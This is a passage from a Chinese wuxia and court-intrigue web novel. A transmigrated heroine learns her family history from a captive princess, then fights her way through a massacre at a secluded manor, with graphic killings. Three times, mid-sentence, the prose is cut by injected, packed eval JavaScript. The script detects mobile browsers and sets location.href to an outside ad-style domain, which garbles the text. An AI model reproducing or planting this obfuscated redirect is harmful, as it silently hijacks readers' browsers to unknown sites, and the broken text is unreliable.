高敏道:“陈炯两年前便升任户部尚书,之前没有动作,却选择在此时下杀手。无论发生了什么,此人格局狭小,终究上不了台面。”
戚江雪问:“殿下知道关姨的事?”
高敏微微一笑:“朝堂上的事自不必说,朝堂下的事,我也能有所耳闻。若我只安心做金枝玉叶,又怎会落到如今的田地呢?”
戚江雪犹豫了一下,问出了一直想问的问题:“殿下,您可曾后悔?”
高敏淡淡问道:“你觉得呢?”
戚江雪道:“不悔。既然有胆量做出了选择,那结果是好是坏自然都能吞得下。人生不过一场豪赌,成王败寇,尽人事听天命。您之前或许只是差了些运气,如今也还算不上输。”
“你好大的胆子!”高敏的语气冰冷严厉:“竟能说出如此大逆不道的话,难怪会被关进这里。”
戚江雪苦笑:“我只是说了实话而已。若我了解的没错,您才是真正践行先皇变法之人。整顿禁军,保甲强兵,改革税法,整顿吏治。鼓励地方建女学,在内廷提拔大量女官。这些在我看来都是对大绥有利,很好的举措。”
高敏深深看着戚江雪,似乎此时才真正把她放进眼里。“京中闺秀,大都研究的是诗词歌赋,琴棋书画。要么就专注针织女红,和姊妹们讨论现下流行的是哪种布料,哪些首饰。你年纪轻轻,却一身武艺,说出的话也像是经历了许多。”
戚江雪暗暗吐槽,不是经历许多,只是作为穿越者的马后炮而已。不过,对长公主说的也是真心话。如果不是因为长公主是女子,皇位定然轮不到英宗,大绥的国运都可能因此改变,后世对此扼腕叹息的人不在少数。
“过去的事我已经记不清了,但看到殿下这些话就脱口而出了。”戚江雪说得很恭敬。
高敏神情比之前放松了许多:“昔日对我逢迎奉承之人如过江之鲫,但现在还能对我说出这番话的却没有几个。不管你说的是不是实话,都没有意义了。那些举措再好,也已经被陛下废除。如今的大绥,换谁都无能为力。”
药力发挥了作用,高敏感觉睡意涌来,眼前渐渐模糊。
沉香浓郁,鸾彩飘飘。重帷叠帐中,整个承华宫都已陷入沉睡。
“皇姐,姐姐。我又做噩梦了。”高敏突然被惊醒了,一个小小的身影爬上床跟她挤在一起,绵软的小手紧紧将她拉住。是五岁的高远。
宫女翠窕有些惊慌的声音在帘外响起。“殿下恕罪,外面都在找,奴婢也不知二皇子是怎么进来的。”
高敏道:“无妨。你告诉他们二皇子今夜宿在我这里,都退下吧。”此时的高敏不过七岁,声音中已经有了上位者的气势。
她看着高远叹了口气。“你又偷跑出来,怎么这么不听话。”
高远眼巴巴地看着她道:“刘婆婆听大娘娘的话,我不想让她陪我。今夜我梦见母后了,她说是大娘娘害的她。”
高敏板起了脸,郑重道:“此话断不可说与他人,你以后也不要再提!记下了么?”
高远委屈地点点头,高敏伸手轻轻拍着他道:“没事的。以后有姐姐护着你,快睡吧。”
看着高远熟睡的小脸,高敏思绪万千。作为先皇后的孩子,继后虽然不喜他们,可面上从未有过苛责。弟弟还小,藏不住事,难免被有心人利用,以后她更要多加注意才是。
人人都知道靖和公主博闻强识,善学敏思,又能体察人心,懂得审时度势。宫中没有人不夸赞她,她的聪慧之名甚至在民间亦有传扬。
父皇锐意进取,施行变法,朝局因此动荡,各地起义不断。北有景国大肆威胁,西有丘桓虎视眈眈,此时的大绥需要一个强有力的储君,父皇需要一个能遵循他遗志的继承人。然而,诚王高远优柔寡断,耽于享乐;安王高鉴阴沉多疑,思维狭隘,他们都不是父皇属意之人。
他的眼光也曾偏向过自己唯一的女儿,可是他亦不愿去挑战祖宗礼法,更不会去违背世俗纲常。靖和公主可以是父皇的开心果,解语花,却无法被当成他的继承人。
高敏不甘心。前朝曾出过女皇,亦有过皇太女,为什么现在就不行呢。明明他仅有的两个儿子是那样平庸啊。
后来父皇临终前拉着她的手,说自己曾经真的动摇过,告诉她矿脉之事让她用以自保,请求她能安心辅佐高远。
她答应了。
再怎么说,高远是自己的亲弟弟,辅佐他落得一世贤明也算对得起早逝的母后。她也短暂得到过那至高权柄,得以践行自己一直以来的施政主张,延续了父皇的改革。高远凡事都依赖她,她一心一意帮他斗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036978|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太后,削外戚,定安王,平衡各方势力,助他亲政。
他们血脉相连,在这深宫里彼此依靠,相伴携行已成为习惯。
但后来怎么就变了呢?
高远终究成为了帝王。忌惮她,打压她,再憎恶她。是权力让他们相背而行,她不是也曾因此恨过吗。那就再斗一斗吧,看看这个过去始终躲在她身后的孩子长成了什么样子。没想到他竟然联合了高鉴,宁愿与虎谋皮也要拉下亲姐姐,她败了。
他们让他杀她以除后患,可他却又变成了那个缩在她怀里的软弱的孩子,最终选择将她禁锢。
姐弟或许是上天给他们种下最毒的诅咒,将他们锁死在九重宫阙,做困兽之争。若从此死生不复相见,也算是好事一桩。
冯祁带着楼煊一同回来时,东方已经开始出现金色光晕。
“殿下如何?”冯祁的衣袍上沾满暗红色血迹。
戚江雪说:“喝了药,关姨又为她施过一次针,现在睡着了。”
冯祁点了点头,神情疲惫。
“冯前辈,你没事吧?”戚江雪上前问道。
楼煊此时开口:“我遇上冯都知时他已经将那些黑衣人都解决了。”
戚江雪问:“你怎么突然来了。”
楼煊道:“我先去了幽人馆,发现你不在,就往这边来了。”
戚江雪问:“你们的神色都不太对,是发生什么事了吗?”
楼煊深吸了一口气,缓缓说道:“半个月前,景国攻破了京城。太子死战城下,陛下出城议和时被景国三皇子术丹俘虏。七天前整个宗室和一些朝臣都被景国将领带着北上了。”
“泰和之变”竟然这么快就发生了,令人猝不及防,戚江雪和在一边听到的关苒苒都被震惊了。冯祁重重叹了一口气,走向长公主所在的里间。
“严长雍呢?严陟呢?朝廷还在吗?”戚江雪良久才找回了思绪。
“严侯死在了狱中。小严将军不知所踪。现下燕、兖、冀、惠四州都已落入景国手中。众朝臣纷纷南下,前日在宁城拥立安王即位了。”楼煊低声道。
戚江雪道:“那陛下……不,先皇就不管了吗,皇室宗亲被掳,谁能去救?被剩下的百姓又该如何?”
楼煊的笑容极为苦涩。“安王在,大绥正统就还在。如今都想着先稳住局势,根本管不到那些。”
关苒苒喃喃自语:“怪不得他们现在要来杀我,原来是怕之后再没有机会报仇了。”
楼煊面色更沉:“我们必须得赶快走。我来之前接到消息,安王已经下令要将清晏山庄众人处理了。”
戚江雪忍不住问:“他现在先想到的竟然是处理清晏山庄?”
楼煊默了一下,说:“惠州已经被景国控制了,清晏山庄秘密太多,在他看来是个很大的隐患吧。尤其……”楼煊向里间看了一眼,继续说:“只要长公主还活着,他的皇位就坐不稳。”
“你说得不错。”高敏被冯祁搀扶着从里面走了出来。
楼煊见到高敏立马行礼,高敏摆了摆手。
“楼相想必也已南下到了宁州,拥立安王就是他带头提议的吧。”
听到高敏的话,楼煊低下了头。
21. 身世不堪几多怜
短暂休息了一下,高敏脸色看上去好了不少。她说完这句话后,便缓缓坐在了上首,看着楼煊似笑非笑。
“上次见你时,还是垂髫小儿。楼成举老谋深算,最是看重脸面,他的独子却叛逆不羁,纵情江湖。过去听人说还以为是他有意谋划,今日看见你本宫才知并非如此。”
楼煊正色道:“家父为我选的路并非我之所向,任性妄为虽有负众望但却无愧己心。家父自己所选的路,我更无权置喙。”
高敏优雅地摸了摸鬓边。“你不必紧张,本宫虽也曾有意大位,但不会将个人私欲置于王朝之上。楼相一心为国,拥立安王才是此时最正当的决策,忠君爱国,他做到了自己的本分。只是你为何要到这里来?”
楼煊看了一眼戚江雪道:“戚姑娘曾帮忙寻找搭救我师伯,我自愿来助她逃离。”
戚江雪此时搭话:“楼公子知道矿道机关的破解之法。”
冯祁问:“你师伯是公冶瞻?”
楼煊道:“正是。在下师从凌鸢阁。”
高敏脸色变得有些严厉:“即便如此,明知有危险还特意跑来一趟,对你来说特殊的到底是这姑娘还是矿道?”
戚江雪心中一跳,长公主到底还是怀疑他们进矿道可能是别有所图。
楼煊:“师伯确实曾说过矿道的特殊之处,可在我看来那里现在不过就是一条可以通往山庄之外的通路。比起活生生的人,所谓的赤渊矿在我心里就是不值一提的死物。更何况,凭借区区几人的力量,根本无法对矿脉做什么,一个不慎还可能会引起地火再次招来祸患。”
高敏幽幽叹了口气。“你说得不错。先皇想要开采赤渊矿,工部也一直在暗中研究,但始终不得其法。终究还是凌鸢阁有成功的先例,可也只是小范围的试验,无法扩大开采规模。如今公冶瞻已死,赤渊矿怕是再难出世了。若是能将赤渊矿用于作战,或许今日也可免国破之耻。”
高敏说到此处,伤感非常,忍不住又咳嗽起来。冯祁忙上前轻拍她的背,脸色更加难看。高敏边咳边看了看楼煊,又道:“既然你得了凌鸢阁真传,或许将来可以找到提炼此矿的诀窍,只是我等不到了。”
冯祁道:“殿下,既然楼小官人知晓矿道关窍,我们不妨也试着跟他们从这里走,出去之后臣尽快为您找解药。”
高敏听完这话没有回应,而是又看向戚江雪。
“他刚刚说你姓戚?这么久了,我竟还不知你的名字,你是哪家的姑娘?”
戚江雪感觉有些尴尬,这么久了竟然没想起自报家门,但是哪家的连她自己都不知道。
“小女姓戚,名江雪。进山庄时大概受了伤,忘记了前事,也不知自己出身何处。之前曾拜托楼公子帮忙在外打听一二,也不知楼公子是否带来了回音。”
楼煊听完脸色有些微妙,他犹豫了片刻开口道:“我确实打听到了一些消息,只是……”
戚江雪看他的神色,估计这消息不太好。不过她早就做好了最坏的打算,无论前身经历了什么,自己都会替她兜底。
“没关系,打听到了什么就说吧。在这里的诸位对我来说都是可信之人,事到如今,我也没什么不能接受的。”
楼煊深深看了她一眼,点了点头。“若我查的没错,你出身金城戚家,是凉州节度使戚扬大人的独生女。大概一年前患了癔症,没过多久被老夫人送进了山庄。”
高敏听到此处,突然流露出一丝笑容,看向戚江雪的眼神愈发亲切和缓起来。
“你果然是雷生的女儿。少时,他曾做过几年阿远的伴读,我那时就看出胸有丘壑,与其他世家子不同。他不会因我是女子便否认我的抱负,也不会因我是公主就刻意相让。后来我们又一同在青崖书院求学,虽常在先生那里较劲,却亦有难得的同窗之谊。他转而研学兵法,我也曾多次向他请教。”
戚江雪愣了愣,原来长公主与父亲竟是旧相识。
冯祁点头赞同道:“戚大人一直镇守凉州,扼西塞之咽喉,阻丘桓于祁连,实乃我大绥不可多得的忠臣良将。若戚大人还在,凉州七万大军分兵回援京师也不至于落得如此田地。”
高敏痛惜道:“一年前他殒命之时恰逢我身陷囹圄。哎,何尝不是时也,命也。”
戚父已不再人世,那戚母呢?戚家这样的家族仅仅因为孩子有癔症就把她送到这里自生自灭吗,而且戚老夫人作为祖母竟然毫不疼惜自己的孙女?楼煊应当还查到了些其他的,不然不至于会是之前的表现。
戚江雪问楼煊:“楼公子还查到些什么?老夫人往日对我如何?把我关进这里只是因为癔症?可是想必大家都能看出来,我真的疯了吗?”
楼煊斟酌着开口:“据说早年令堂过世时,你的精神就曾出现过问题。令尊一年前离世又再次刺激了你。他们说你犯病之时口出狂言,还险些……杀了自己的二叔,犯下恶逆之罪。老夫人怜惜你是戚大人唯一的血脉,做主将你关进清晏山庄。不过,我相信此事一定另有隐情。”
高敏听到此话突然冷哼一声:“戚抗一直有意接替雷生,可惜他资质平庸,我未曾理会。一年前他可算是等到了机会,陛下也有意拉拢,差点就遂了他的意。可惜不是他的位置始终不是他的。我一直怀疑雷生并不是死于沙场那么简单,江雪作为女儿自然比我更清楚,总不会无缘无故就针对他这个血亲长辈吧。况且,他不是还活着么,若真的在意江雪,这又不是什么光彩之事,早就压下当作没发生了。只怕我那表姑母从未怜惜过她吧。”
戚江雪皱眉问:“殿下此话何意?”
高敏看了看戚江雪的脸,叹了口气。“看到你的样貌时我便对你的身份有了猜测,毕竟和你母亲实在是太像了。当年,先皇曾想过给我和你父亲赐婚,只是我们虽认彼此为难得的知己,却无风月之情。我以为他也如我一般无心情爱,哪想他竟对你母亲情根深种。你母亲是西域迦墨古国的王室末裔,身份有些特殊。表姑母一直对雷生这个长子寄予厚望,谁想为了娶你母亲这个异族之人他险些连命都没了。所谓恨屋及乌,你母亲不得你祖母欢喜,你也一样。以往进京我见过她带着戚抗之女,却很少听到你的消息。”
没想到还有这样的隐情,想起在梦中出现的戚母,戚江雪不由感到了一阵忧伤。还有很多事需要细细消化,但现在不是伤春悲秋的好时机。
戚江雪问:“既然我已被弃,那过往不论,只向前看。楼公子,你说新帝要处理清晏山庄,是所有人都不放过吗?”
楼煊一脸冷凝。“我想他主要针对的是长公主,其他人的死活想必不在他门的考虑范围之内。”
戚江雪道:“你本不必涉险,但你选择来帮我,还带来了我的身世消息。”一瞬间有许多话语像是从心头冲过来的浪,争先恐后地要从唇边涌出。她深吸了一口气,“谢谢。这份情义我会一直记在心里。今后……”
楼煊打断了她的话。
“我不希望你把这些记在心里,总是想着怎样还我人情。我更不想让你有压力,换作任何一个朋友,我都会这么做的。”
戚江雪点了点头,不再多说。她看向外面,院中一片清寂,偶尔有几瓣梨花飘落,真是应了与世无争之意。只是很快这里也要被世俗污垢沾染了。
“我现在要去找师父,请楼公子带着诸位先去矿道吧。”
楼煊有些担忧道:“你一个人可以吗?”
戚江雪对他笑了笑:“当然了。你先去看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061451|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看矿道和机关是怎么回事。”
此时一直默默在旁边倾听的关苒苒起身来到戚江雪身边。“我和你一起去吧。我不放心修意。”
戚江雪摇了摇头。“关姨,你跟着楼公子先去矿道等我。若真的发生什么我不一定能同时顾你们周全。长公主也还需要你照顾。你放心,我一定会把师父带过来的。”
戚江雪来到高敏身前,蹲下来认真看着她道:“殿下,事不宜迟,和我们一起走吧。”
冯祁虽未说话,但神情明显已经认同了戚江雪。高敏为戚江雪理了理散落的发丝,柔声道:“你是个好孩子,看来也是受了不少苦。他们是针对我来,带着我或许会拖累你们。我不阻拦矿道,你们去吧,不必管我这必死之人。”
冯祁失声道:“殿下!”
戚江雪紧紧握住高敏的手:“殿下。若我父亲还在,一定也会让我保护您的。往者不谏,来者却犹可追,只要还有一丝希望就不要放弃。”
高敏紧紧盯着她,叹了口气道:“也罢。过往我大权在握,也曾广交武林豪杰,门下不乏顶尖高手。其中有一位,名唤卢愈,也被关在这山庄里。你若能找到他,也算是一大助力。”
冯祁道:“只是他应该被关在某处地牢,没那么好找。你且快去,矿道就在山洞温泉下,我会相助楼小官人。”
戚江雪点点头,起身对楼煊道:“等我找到师父,就去与你们汇合。”
不知新帝的命令何时会到,戚江雪不敢耽搁,一路从无争别院飞奔而去。
此时已过巳时,白日的静园也真的如其名,幽静至极。戚江雪感到了些许怪异之处,但强行压下心底的不安,她抄着近道飞檐走壁,只盼能以最快的速度赶回幽人馆。
终于看到幽人馆门口的两座雕像时,她才微微缓了口气。其中一头石羊自她上次打架后就缺了一只角,此时看上去更为怪异。这一路过来格外顺利,竟连一个人也没有碰到。原本白日守在院外的侍童此时也不见踪影。
戚江雪飞至柒号院,推门而入,心里便是一沉。
师父不在。
不行的预感成真,只是房间内一切如常,没有任何打斗痕迹。
戚江雪去旁边看了看,宋思蔻也不见了。她将幽人馆从头到尾查看了一遍,包括密道,空无一人。有几个院子里面的桌椅翻倒在地,除此之外再看不出任何去向。
戚江雪血气有些上涌,她提醒自己不要着急。从昨夜她们离开,已经过去了十来个时辰。如果新帝的命令已经到了的话,那无争别院那边不可能毫无动静。而且除了长公主之外的人应该都算是无关紧要的,还有必要大肆转移处理吗?
戚江雪一边想着一边赶往另一边的尚善别院。刚一接近,她便闻到了浓烈的血腥之气。
戚江雪心头狂跳,却控制不住自己走进的脚步。
数不清的尸体横七竖八散落在偌大的庭院中,池塘中的水已经彻底变成了暗红色。戚江雪干呕一声,掐住自己的内关穴,走上前观察尸体,一具一具辨认。都是陌生面孔,只有几个能认出来的是她最开始见过的玩“鹰捉小鸡”游戏的中年人。
尚善别院无一活口,所有人都死于割喉。他们身上没有多余的伤口,可是有些直到现在喉间还在喷血。他们竟然对这么多人下手了,原来自己之前想得太乐观。师父会被带到何处,现在还活着吗?
不,师父一定还活着。戚江雪浑身都在发抖。这些人一个时辰前还活着,会说会动,哪怕精神不正常,也都还是活生生的人!
消业池没有,中间的温泉园也没有。戚江雪感觉脑子被蒙上了一层雾,只是凭着直觉在走。院中传来声响,她抬头看了看,自己不知不觉已经来到了罚罪别院。
22. 薄命难逃天外劫
凄厉的嘶吼,如同牲畜在屠刀下拼死挣扎却最终被割破血管后发出的惨叫。可那是人,戚江雪清楚的知道。
她踉跄了一下,用双锏撑住地面,才找到支持自己的力量。踏进罚罪别院,脚下黏腻,戚江雪不敢低头。
“扑哧”一声,廖奉堂将刀狠狠从男子心脏拔出,别院里最后一个幸存者仰面倒了下去。那人或许也曾是威震一方的高手,亦或是令人闻风丧胆的魔头,可是被关到罚罪别院后,与待宰的羔羊无异。鲜血从廖奉堂的刀尖上滴下,他回身,看到了戚江雪。
“是你。你居然还活着?”廖奉堂语气中带着阴冷湿气,腥臭得让人难以忍受。
“幽人馆的人呢?”戚江雪问,声音微微颤抖着。
廖奉堂张狂大笑起来:“哈哈哈哈?你是什么东西?居然跑到这里来问老子!既然你送上门来,那就死吧。”
廖奉堂说罢对着戚江雪的头横刀一斩。
“铿——”刀再难往下。戚江雪单手拿锏抵住刀,那刀刃竟然卷起了边。廖奉堂脸上的笑消失了,变成了更为刻薄的阴狠。他似是不愿相信,抽刀回去又是迅猛一击,斩向戚江雪的腰间。
“咔嚓”金属碰撞摩擦发出刺耳的声音,下一秒廖奉堂手中的刀断了。
廖奉堂后退几步,偏过头狠狠吐了一口吐沫。
“狗日的,老子早就觉得你是个祸害,那老东西还不信。”
他一边说着,一边从腰后抽出两把长链铁钩。泛着寒光的铁钩极为尖利,哪怕轻轻碰到也能让人皮开肉绽。
“幽人馆的人去了哪?”戚江雪面无表情地又问了一遍。
“死了。你也给老子死!”廖奉堂大吼一声,将两条铁钩甩了过来。
戚江雪将其中一条铁钩打飞,廖奉堂还未看清她的动作,就发觉剩下的一根铁钩已经被锏绞住了长链。戚江雪抬手一绕,长链绷断,铁钩应声落地。她飞身上前,在廖奉堂尚来不及反应时一锏砸向他的后背。
廖奉堂喷出一口鲜血,整个人趴到了地上。他的脊椎断了,口中“嗬嗬”作声,奋力蠕动却再也爬不起来。
戚江雪上前一把扯住廖奉堂的头发,让他看着自己。
“幽人馆的人都死了?是你杀的?”戚江雪平声静气地问,连她都诧异自己的语气竟然能毫无波澜。
廖奉堂双目圆睁,眼中是极度的愤恨。“死……去死。”
戚江雪点了点头:“好。我送你去死。”
说完一锏砸向了廖奉堂的头。
遍地狼藉,戚江雪没有再看。她在罚罪别院找了一圈,这里死去的都是壮年男子。廖奉堂杀人的手法很残忍,这些人多是被乱刀砍杀,倒是很符合他一贯的行事作风。看来每个区域都由不同的人处理,那幽人馆应该是属于邱老了。
戚江雪内心依然相信师父还活着,现在她要去找邱老。
寒风瑟瑟,卷起一地残红。园林中处处盛放的桃花在鲜血的映衬下格外妖冶,或许它们就是靠着这特殊的养分才让自己有资本争奇斗艳。
静园与两个别院相比起来格外清净,戚江雪本以为自己闻了太多血腥味嗅觉已经麻木,可她现在竟然闻到了阵阵花香。
这里还没有发生过杀戮。
戚江雪有些振作起来,急忙在各处查看。没有人,到处都没有。
往日聚集人最多的扶疏院也是空空荡荡,连侍童都无一踪影。来到门匾上写着“允执厥中”四个大字的主院书房前,戚江雪推门而入。
依旧是空无一人。希望落空,却又燃起了一把不甘的火。
书房的摆设规整中透着随意,就像是随时会有人来一样。戚江雪进入房内仔细探查了一遍,这里没有密道,也不会藏人。
整个静园的人就像突然蒸发了一样,去了哪里呢?
宁城行宫。
空旷的殿内点着龙脑安神香,宫女们低垂着头,呼吸微不可闻。满室寂静中突然传来一声惊叫,众人连忙跪了下来。杨连达快步向内室走去。
高鉴从噩梦中醒来,望着头顶的帘幕出了神。
杨连达来到卧榻前,看着新帝的神情,小心翼翼唤了一声。
“陛下。”
“连达,我梦见皇兄被景人杀了。他的头被砍了下来,一直滚到了我面前,还在对着我笑。”高鉴声音低哑,听不出其中情绪。
杨连达心里暗叹一声“造孽”,开口安抚道:“陛下是太累了。这段时日舟车劳顿,疏于休养,一时被梦魇住也是有的,您别多想。”
高鉴转头望着杨连达问:“你说,皇兄会怪我吗?”
杨连达忙道:“您挽大厦于将倾,保住了大绥的百年基业,先皇感激您还来不及,怎会怪您呢。”
高鉴有些神经质地笑了起来:“哈哈,我又何尝不是真龙?事到如今,他们只能认了。”他突然止住笑,问道:“楼翰和宋逊回去了吗?”
杨连达摇头道:“楼相和宋大人还在外面候着,劝也劝不走,看样子今日是一定要陛下表明态度了。哎,如今的形势,先要稳住朝廷百官,景国既然已经北上,怎能再动兵戈。”
高鉴冷哼一声:“他们愿意等就让他们等着。朕如今岂能再被他们轻易拿捏。”
“陛下说的是。”杨连达一脸赞同道。
“清晏山庄那边如何了?”高鉴缓缓起身,似是突然想起这件事。
杨连达回道:“已经通知他们了。对付那位的,也早已派了人过去。”
高鉴看向远处,神情惆怅,声音却极为冰冷。
“这件事,朕不允许出任何纰漏。”
杨连达低下头,一脸恭敬。
“是。若不是首要保证您的安危,我必亲自前去。不过陛下放心,十大影卫都被我派了过去,必定斩草除根。”
戚江雪来到药人堂附近,这里同样是一片死寂。
她走近之前曾下去过得密道口,正要往里看,有人突然从外面闯了进来。戚江雪二话不说就回身攻击,锏被长鞭缠住了。
“是我。”无痴松开了长鞭,戚江雪也缓缓将手放下。无疚跟在无痴后面,两人的形容都有些狼狈。
无痴看着戚江雪的神色问:“你状态不对,他们对你动手了?”
“我找不到师父了。你们都知道些什么?你们,参与了吗?”戚江雪的声音极为沙哑。
无疚轻声道:“怎么可能。”她的嗓音现在还带着嘶哑。
无痴抓着戚江雪的胳膊一脸严肃。“我们突然接到命令要撤出山庄,后来才知道他们是想处理所有被关在山庄里的人。回来时遇上了影卫,他们竟然也对我们动手!幸好影卫的主要目标是无争别院,不然我和无疚今天都要交待在这了。”
“他们已经去无争别院了?”
无疚点了点头。戚江雪心里又被钝击了一下,长公主她们应该已经到了矿道处,一定会没事的。
无痴拉着戚江雪往外走:“这里不能再留了,现在就走。”
戚江雪停住脚步,慢慢抽回了手。“我不能走,我必须找到师父。”
无疚看着她道:“虽然难以接受,但你有没有想过她已经遇害了。”
戚江雪只觉五脏六腑都痛了起来。“活要见人,死要见尸。既然没有找到,那她就一定还活着。”
无痴一脸坚决道:“那好,我们帮你找。”
戚江雪摇了摇头。“你们可以去找冯前辈,他们应该已经从无争别院出来上了山,东南方向的山洞里有出去的密道,找到师父我会去那里找你们汇合。”
无痴还想说什么,无疚按住了她的肩膀。“好,我们过去等你。”
无痴道:“多加小心。还有,你一定要来。”
戚江雪勉强扯了扯嘴角,对无痴笑了笑。“会的。对了,你们知道邱老在哪里吗?”
无痴想了想道:“他此时可能去了尸人苑。”
戚江雪来到尸人苑,这里血迹斑斑,只有少数几个人躺在地上呻吟。
她上前扶起一人。
“药,药……”那人身上没有任何伤口,却口吐白沫,抽搐不停。
这是药人,不给他们解药,是要放任他们死亡吗?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15063706|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“邱老在哪里?只有你们几个吗?剩下的药人呢?”戚江雪连忙问道。然而怀里的人已经停止了呼吸。
戚江雪又扶起一个药人,重复了一遍问题。
“只有我们……其他,药人在执行任务。没有解药,大家都,都要死……欢喜林。”药人气若游丝,断断续续说完后也断了气。
戚江雪放下尸体,向着欢喜林飞去。
残破的石碑上歪歪斜斜写着“欢喜林”,红漆脱落,仿佛流下的血泪。从外围望去,林子上空泛着淡淡的紫气,不知是毒是瘴。
戚江雪从衣裙下摆上撕下来一块,蒙住口鼻,往林中走去。
树冠铺开,天光骤暗,只露出零星光斑。老树枝干虬结,树皮皲裂,乍一看似扭曲的人面。
戚江雪尽力屏气,将呼吸调转为内息,小心观察着。林子连一只鸟都不见,想来也是,任何生物都很难在这里生存下去。
前方有一个隆起的黑影。是邱老,他正在往土中埋着什么。
戚江雪纵身而起,瞬间便飞到邱老面前。坑还未填平,里面堆满了画卷和信件。
邱老看到戚江雪大吃一惊,抬掌便向她打出。
戚江雪闪身避开掌气,一脚踢向邱老的胸口。
“你,你居然能隐瞒至此!”邱老被迫着倒退几步,满脸都是不可置信。
“幽人馆的人呢?秦修意在哪里?”戚江雪问道,吐字成冰。
邱老一脸阴沉,不发一语。戚江雪正要上前,邱老突然一挥衣袖,暗器便朝着戚江雪的面门射来。
戚江雪将所有暗器击落,邱老已经向着林外飞去。戚江雪积攒的怒气又上升了一层,她迅速追了过去。
两人边飞边打,过了十几招,邱老败相已显。戚江雪失去耐心,一锏凌空砸下。邱老的闪避毫无作用,气流直冲,他的左臂骨碎了。
邱老不得已落在地上。跌跌撞撞走了几步,他看着戚江雪恨声道:“是我小看你了,竟容你在山庄猖狂至此!”
戚江雪又是一锏打中邱老的膝盖,让他跪在了地上。“少废话,幽人馆的人去了哪里!”
邱老冷笑起来:“我怎会知道,我让于诘去处理了,想必现在都已经死了。”
戚江雪的杀意几乎就要控制不住,她闭了闭眼,用锏指着邱老。
“你杀了这么多人,就不怕遭报应吗?”
邱老笑了起来:“我听命行事,若有报应也落不到我的头上!如今国都要亡,这山庄马上就要被景国收入囊中,那些人如何能活?我不过是给他们一个痛快罢了。我等侠义之人,怎能看着他们做无知无觉的亡国奴?”
“你们也配谈侠义?你连畜生都不如!”戚江雪说着,又是一锏打在邱老的脚踝。
邱老痛呼出声。
“药人的解药在哪里?”戚江雪又问。
邱老喘着粗气道:“那些药人本就活不了多久,如今还要什么解药。”
戚江雪将邱老踢翻在地,踩上他的手指。“你不说,那我也让你尝尝生不如死的滋味。”
邱老额上青筋暴起,豆大的汗水滴落下来。“呵,呵呵。你比我更着急吧。秦修意是你什么人?”
戚江雪将锏压在邱老的脖子上,一字一顿地问道:“解药在哪?”
“就在这山庄里,你慢慢找啊。”邱老嘶嘶说道,声音如同毒蛇。
戚江雪将锏举起,“你本不该死得这么轻易。”一锏砸向邱老的脑袋,“但我已经没有耐心了。”
就在戚江雪的锏砸下去时,邱老的手动了动。断气的瞬间,“嗖”一声,有什么东西迅速蹿了上去,随后在空中炸起一朵红色的烟花。
无数细屑从天上落下,发出了难闻的气味,也带来了显而易见的危险。
沉闷的脚步声响起,尸人潮从林中奔涌而出,向着戚江雪而来。难以想象这么多尸人之前都藏在何处,此时他们组成的尸人大军,一眼过去看不到尽头。
这些尸人被另外催化过,有些还残留着些许神智。
很快,戚江雪的眼前一片血红。
23. 赤渊如玉多觊觎
戚江雪尝试使用“杀手锏”,脑海中跳出一行信息——
“此绝技对该类对手不适用。”
不适用?因为她面对的不算人吗?或者说,自己还没有到绝境中争取一线生机的程度?
她放弃尝试,运足内力,一锏便横扫尸人一大片。
有些尸人被击破脑部后,蛊虫破体而出,寻找新的宿主,戚江雪不得不分心防备。好在蛊虫离体后存活不了多久,很快就陷入死亡。还有些尸人会时不时爆体,整个人炸开后变成血色可怖的浓雾,不小心沾上必定毒发。最难对付的尸人,是那些还残存神智保留了一定内力和武功的。他们攻击时不像其他尸人那样无脑,而是能够有一定程度的见招拆招,她连用轻功跑都难以做到。
戚江雪感到体内的真气开始有些不受控制,开始横冲直撞,之前曾出现过的那种毁灭欲和杀戮欲再一次在她全身叫嚣起来。
杀!杀!杀!
血花飞溅四起,断臂残肢横斜。戚江雪已记不清自己与尸人打了多久。尸人倒下,很快又有新的尸人冲上来,他们不知疲倦,只知为无法理解的欲望躁动,发狂。戚江雪自己也是如此,血气上涌,杀戮欲无休无止,不但不觉疲惫,反倒让她越来越兴奋。她似乎和尸人没什么两样了。
她知道自己这样很危险,但她已经控制不住,也不想控制。
渴望力量,运用力量。厌恶规则,践踏规则。以杀止杀,只求痛快。她变了,不再像是原来的自己。但也没变,或许这些原本就是深藏在她骨子里的东西。
药人,尸人,幽人,都是任人摆布的棋子,是砧板上鱼肉。到底谁更可怜?她可以送他们上路,帮他们解脱,可她自己又如何解脱?为何要解脱?活着,注定要背负痛苦。但即便如此,也想要艰难地活下去。
“师父,师父是不是已经死了。那现在这样还有什么意义?要么就别挣扎了吧,同归于尽!”“不,师父一定还活着!不能放弃,要将她救出去。”……
